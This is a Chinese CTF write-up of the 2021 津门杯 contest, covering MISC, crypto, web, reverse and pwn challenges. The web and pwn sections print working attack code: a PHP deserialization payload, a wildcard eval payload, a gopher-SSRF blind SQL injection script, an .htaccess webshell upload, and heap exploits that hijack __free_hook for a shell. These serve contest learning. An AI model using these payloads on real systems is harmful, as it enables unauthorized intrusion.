小编提示:关注 『宸极实验室』,回复 『津门杯-2021』,即可获取全部题目附件。
前言
成绩如下
总排名:全国第十名,成功进入线下总决赛
一血数量:三个 1 血(CRYPTO、MISC、WEB 各一个)
二血数量:一个 (MISC)
MISC
m0usb
writeup
打开一看是usb
数据,先用键盘脚本解码。
分析发现,字符串中只有01248
几个字符,搜索发现,是云影密码。
使用脚本解码得:
flag
flag{THISISFLAG}
m1bmp
writeup
bmp
的lsb
隐写。
直接解码得flag
。
flag
flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}
tunnel
writeup
打开数据包,发现全是有base64
的dns
域名请求,使用tshark
提取A记录的域名。
tshark -r tunnel.pcap -T fields -e dns.qry.name -R 'dns.qry.type == 1'
共911
个,使用脚本进行解码拼接,得到一个加密的zip
。
import base64
dec = ""
with open("A.txt","r") as f:
for line in f.readlines():
tmp = line.strip()
missing_padding = len(tmp) % 4
if missing_padding != 0:
tmp += b'='* (4 - missing_padding)
dec += base64.b64decode(tmp)
print(len(dec))
with open('A.zip', 'w') as f:
f.write(dec)
打开后发现压缩包有密码,尝试爆破后未成功。
然后队友说了句需要在每一行的base64
后面添加等号,这时想到了base64
隐写,进行解码后得到压缩包密码B@%MG"6FjbS8^c#r
。
最后解密压缩包得到flag.jpg
。
最后提交flag
时多次错误,就离谱,尝试过后发现,提交flag
时竟然要把单引号删掉。
flag
flag{DO1nt_5pY_OnmE}
Crypto
rsa
writeup
打开一看,e很大,直接wiener_attack
攻击得到flag
。
flag
flag{ZTAtG3hjH2zpcoB5}
混合编码
writeup
base64->urlencode->ascii
,轮着解码即可。
flag
flag{q1xKpm8vILWrkmXxV6j11MdcGtLzvRyV}
WEB
power_cut
writeup
题目提示为:
昨天晚上因为14级大风停电了
根据提示,判断为编辑器备份文件。
发现swp
文件,恢复得到源码。
关键代码为:
<?php
class logger{
public $logFile;
public $initMsg;
public $exitMsg;
function __construct($file){
ENTER // initialise variablesinue
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = $file;
readfile($this->logFile);
}
}
class weblog {
public $weblogfile;
function __construct() {
$flag="system('cat /flag')";
echo "$flag";
}
function __wakeup(){
// self::waf($this->filepath);
$obj = new logger($this->weblogfile);
}
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
weblog
类的__construct
是无用的,只是用来提示flag
位置。
思路为 通过反序列化weblog
类,调用__wakeup
魔术方法去构造logger
类。
进而触发了logger
类的__construct
方法,调用了readfile
去读取flag
。
payload:
<?php
class logger{
public $logFile;
function __construct($file){
$this->logFile = $file;
readfile($this->logFile);
}
}
class weblog {
public $weblogfile;
}
$a= new weblog();
$a->weblogfile ='/flag';
$a = serialize($a);
echo $a;
?>
这里的flag
过滤,可通过双写绕过,最终payload
:
O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
flag
flag{EfuteB3QOqvRqD099mHuDRJKWRxnAC7}
hate_php
writeup
题目代码如下:
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}
常规的无字母数字webshell
题目。
参考文章:https://xz.aliyun.com/t/8107#toc-11
同时过滤了_ $ @
不能用定义变量的做法了。
尝试取反操作,发现环境限制,同样失败。
于是尝试通配符。
常见flag
位置为/flag
code=?><?=`/???/??? /????`?>
最终得到了flag{test123}
提交错误,反馈工作人员。
之后环境重置,得到flag
。
flag
flag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A}
easysql
writeup
题目源码:
<?php
highlight_file(__FILE__);
session_start();
$url = $_GET['url'] ?? false;
if($url)
{
$a = preg_match("/file|dict/i", $url);
if ($a==1)
{
exit();
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
简单的ssrf
,全端口探测,发现只开放80
和3306
。
想到ssrf
通过gopher
协议攻击已知用户名无密码的mysql
。
但爆破密码失败。
同时目录扫描发现admin.php
。
结合题目为easysql
。
猜测为admin.php
进行post
注入。
http://122.112.251.23:20001/?url=gopher://127.0.0.1:80/_POST%2520%2fadmin.php%2520HTTP%2f1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Apoc%253D123%250D%250A
但基本上没反应,猜测可能为盲注。
由于实在太菜,只能用手工慢慢fuzz
。
最终得到有用payload
为:
1) and sleep(10) and(1=1
之后就是写脚本进行盲注了,脚本如下:
# -*- coding: utf-8 -*-
import urllib
import requests
import time
flag='flag is :'
s = '0123456789abcdefghijklmnopqrstuvwxyz~!@#$%{}-_'
for i in range(100):
for ss in s:
payload = "poc=1)and if(substr((select user()),%d,1)='%s',sleep(5),0) and (1=1" % (i,ss)
#print(payload)
test =\
"""POST /admin.php HTTP/1.1
Host:127.0.0.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
%s
""" % (len(payload),payload)
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
new = new.replace('%','%25')
result = '_'+new
url = 'http://121.36.147.29:20001/?url=gopher://127.0.0.1:80/'+result
print(url)
startTime=time.time()
data= requests.get(url).content[3400:]
if(time.time() - startTime > 5):
flag += ss
print flag
可能是时间盲注问题,服务器很不稳定,搞了很久才拿到flag
security
库flag
表flag
字段
flag
flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}
uploadhub
writeup
题目给到了源码包。
有源码和配置文件,大致看了源码。
不能注入,也不能绕过上传。
之后看到index.php?id=1
是.htaccess
文件。
就明白了,应该是上传.htaccess
文件进行解析了。
上传之后发现无法解析,卡了很久。
源码层面是放弃了,于是去看配置文件,出题人不可能放一些没用的配置文件在里面。
筛选后的Apache.conf
如下:
可以发现,在上传目录,存在设置:
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>
之后去百度,去谷歌,发现文章。
https://xz.aliyun.com/t/8267
里面提到:
这就导致了上传.htaccess
之后,同样不解析php
。
之后上传.htaccess
,开启就可以了。
ps:测试发现<file>
标签比<directory>
优先级高
<Files "*.gif">
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
php_flag engine on
</Files>
随便上传个gif
,拿到shell
,但是由于disable_funtions
的限制,只能通过readfile
读取文件,应该是防止搅屎的。
flag
flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}
gooss
writeup
go
语言的题目,给了源码。
大体看一下,存在index.php
,最终应该是通过这个来进行获取flag
。
然后看一下main.go
文件。
大致两块,upload
和vul
。
upload
应该是陷阱,没法利用的。
主要是vul
:
本来以为可以ssrf
,但是好像没那么简单。
限制很严格。
之后又看到这里:
总体思路就比较清晰了,通过302
跳转,来跳转到本地80
端口的index.php
,进而读取flag
。
发现这几篇文章
https://www.secpulse.com/archives/102918.html
https://xz.aliyun.com/t/3302
https://evoa.me/archives/21/
综上,我们可以构造
http://127.0.0.1:1234//ip/..
跳转到ip
。
我们可以在vps
上新建index.php
。
内容为
<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>
之后构造payload
进行跳转:
flag
flag{30e308e8e7122579b8ea2fae774d1999}
Reverse
easyRe
writeup
题目给出了三个文件,乱码的my.lua
,Base64
编码的output.txt
和一个ELF re6
。
output.txt
Base64
解码后是一堆数字,暂时不明白作用,先放着。
my.lua
打开乱码,怀疑被加密,需要分析re6
。
找到验证函数,输入长度要求32
位,并且将输入内容的3
个字符用来参与计算初始值,作为参数传入sub_402489
,进行关键计算。
进入sub_402489
,对my.lua
进行了读取,循环与2、3、5
进行异或解密,解密后的lua
。
再由传入的初始值当种子生成随机数,同时对输入内容按位进行每个随机数异或,再与5977654
异或,output.txt
中的数字数量正好相符,所以关键在于最开始的随机数种子,可以爆破0-255
的范围。
flag
flag{e4da3b7fbbce2345d7772b0674a318d5}
GoodRE
writeup
很正常的一个题目,使用IDA
进行反编译,对算法进行分析发现是TEA
算法。
分析完算法之后,将对比的数据拿出来之后进行解密即可,在网上找一个TEA
算法解密脚本。
//TEA算法
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t v[2]={0x79AE1A3B,0x596080D3};
uint32_t const k[4]={17,17,17,17};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %u\n",v[0],v[1]);
//encipher(r, v, k);
//printf("加密后的数据:%u %u\n",v[0],v[1]);
decipher(r, v, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
return 0;
}
flag
flag{7DEA3F6D3B3D6C0C620864ADD2FA2AE1A61F2736F0060DA0B97E8356D017CE59}
Pwn
easypwn
writeup
EXP:
from pwn import *
context.log_level = "debug"
amd64 = True
if amd64:
context.arch = "amd64"
else:
context.arch = "i386"
local = False
if local:
p = process("./hello")
if amd64:
libc = ELF("/glibc/2.23/64/lib/libc.so.6")
else:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("119.3.81.43","49153")
libc = ELF("/glibc/2.23/64/lib/libc.so.6")
elf = ELF("./hello")
def g_p(params):
param = ""
for i in params:
param += (i + "\n")
gdb.attach(p, param)
def g():
gdb.attach(p)
s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
shell = lambda: p.interactive()
def choice(index):
sla("your choice>>",str(index))
def add(size,number,name,content):
choice(1)
sla("number:",number)
sla("name:",name)
sla("size:",str(size))
sa("info:",content)
def delete(index):
choice(2)
sla("index:",str(index))
def show(index):
choice(3)
sla("index:",str(index))
def edit(index,number,name,content):
choice(4)
sla("index:",str(index))
sla("number:",number)
sla("name:",name)
sa("info:",content)
add(0x80,"1","1","aaa\n") #0
add(0x80,"1","1","bbb\n") #1
add(0x80,"1","1","/bin/sh\x00\n") #2
delete(1)
#gdb.attach(p)
edit(0,"a"*11+"\n","b"*13+"\xa0\n","aaa")
#gdb.attach(p)
show(0)
p.recvuntil("des:")
unsortedbin = u64(p.recv(numb=6).ljust(0x8,"\x00"))
offset = 0x7f1488760b0a - 0x7f148839c000
libc.address = unsortedbin - offset
#0a 4b d5 3a aa 7f
print hex(libc.address)
edit(0,"a\n","b"*13 + p64(libc.sym["__free_hook"]),p64(libc.sym["system"]))
#gdb.attach(p)
delete(2)
p.interactive()
flag
flag{612ea967e4e5660a863966365ddc4947}
PwnCTFM
writeup
EXP:
from pwn import *
context.log_level = "debug"
amd64 = True
if amd64:
context.arch = "amd64"
else:
context.arch = "i386"
local = False
if local:
p = process("./pwn")
if amd64:
libc = ELF("/glibc/2.27/64/lib/libc.so.6")
else:
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p = remote("119.3.81.43","49155")
libc = ELF("/glibc/2.27/64/lib/libc.so.6")
elf = ELF("./pwn")
def g_p(params):
param = ""
for i in params:
param += (i + "\n")
gdb.attach(p, param)
def g():
gdb.attach(p)
s = lambda a: p.send(str(a))
sa = lambda a, b: p.sendafter(str(a), str(b))
sl = lambda a: p.sendline(str(a))
sla = lambda a, b: p.sendlineafter(str(a), str(b))
r = lambda a=4096: p.recv(a)
rl = lambda: p.recvline()
ru = lambda a: p.recvuntil(str(a))
shell = lambda: p.interactive()
def choice(index):
sla("your choice>>",str(index))
def add(size,name,content,number):
choice(1)
sla("name:",name)
sla("size:",str(size))
sa("des:",content)
sla("score:",str(number))
def delete(index):
choice(2)
sla("index:",str(index))
def show(index):
choice(3)
sla("index:",str(index))
def edit(index,number,name,content):
choice(4)
sla("index:",str(index))
def conn():
choice(2)
sla("index:","1"*0x500)
sla("input manager name:","test")
sla("input password:","123456")
for i in range(10):
add(0x158,"aaa","bbb",1)
for i in range(9):
delete(i) #0-8
add(0x18,"aaa","bbb",1) #0
delete(0)
add(0x18,"aaa","b"*0x18,1) #0
delete(0)
add(0xE8,"aaa","bbb",1) #0
add(0x78,"aaa","bbb",1) #1
add(0x78,"aaa","bbb",1) #2
delete(2)
for i in range(2,9):
add(0xE8,"aaa","bbb",1)
for i in range(2,9):
delete(i)
delete(0)
delete(9)
add(0x50,"aaa","bbb",1) #0
add(0x50,"aaa","bbb",1) #2
add(0x28,"aaa","bbb",1) #3
show(1)
p.recvuntil('topic des:')
offset = 0x7fa7d0819ca0 - 0x7fa7d042e000
unsortedbin = u64(p.recv(numb=6).ljust(0x8,"\x00"))
libc.address = unsortedbin - offset
add(0x1f0,"aaa","a" * 0x80 + p64(libc.sym["__free_hook"]),1) #4
add(0x88,"aaa","/bin/sh\x00",1) #5
add(0x88,"aaa",p64(libc.sym["system"]),1) #6
delete(5)
#gdb.attach(p)
p.interactive()
flag
flag{e322a6bef93f857e5cba6b4778d5faee}
来源:freebuf.com 2021-05-11 20:17:09 by: 宸极实验室Sec
请登录后发表评论
注册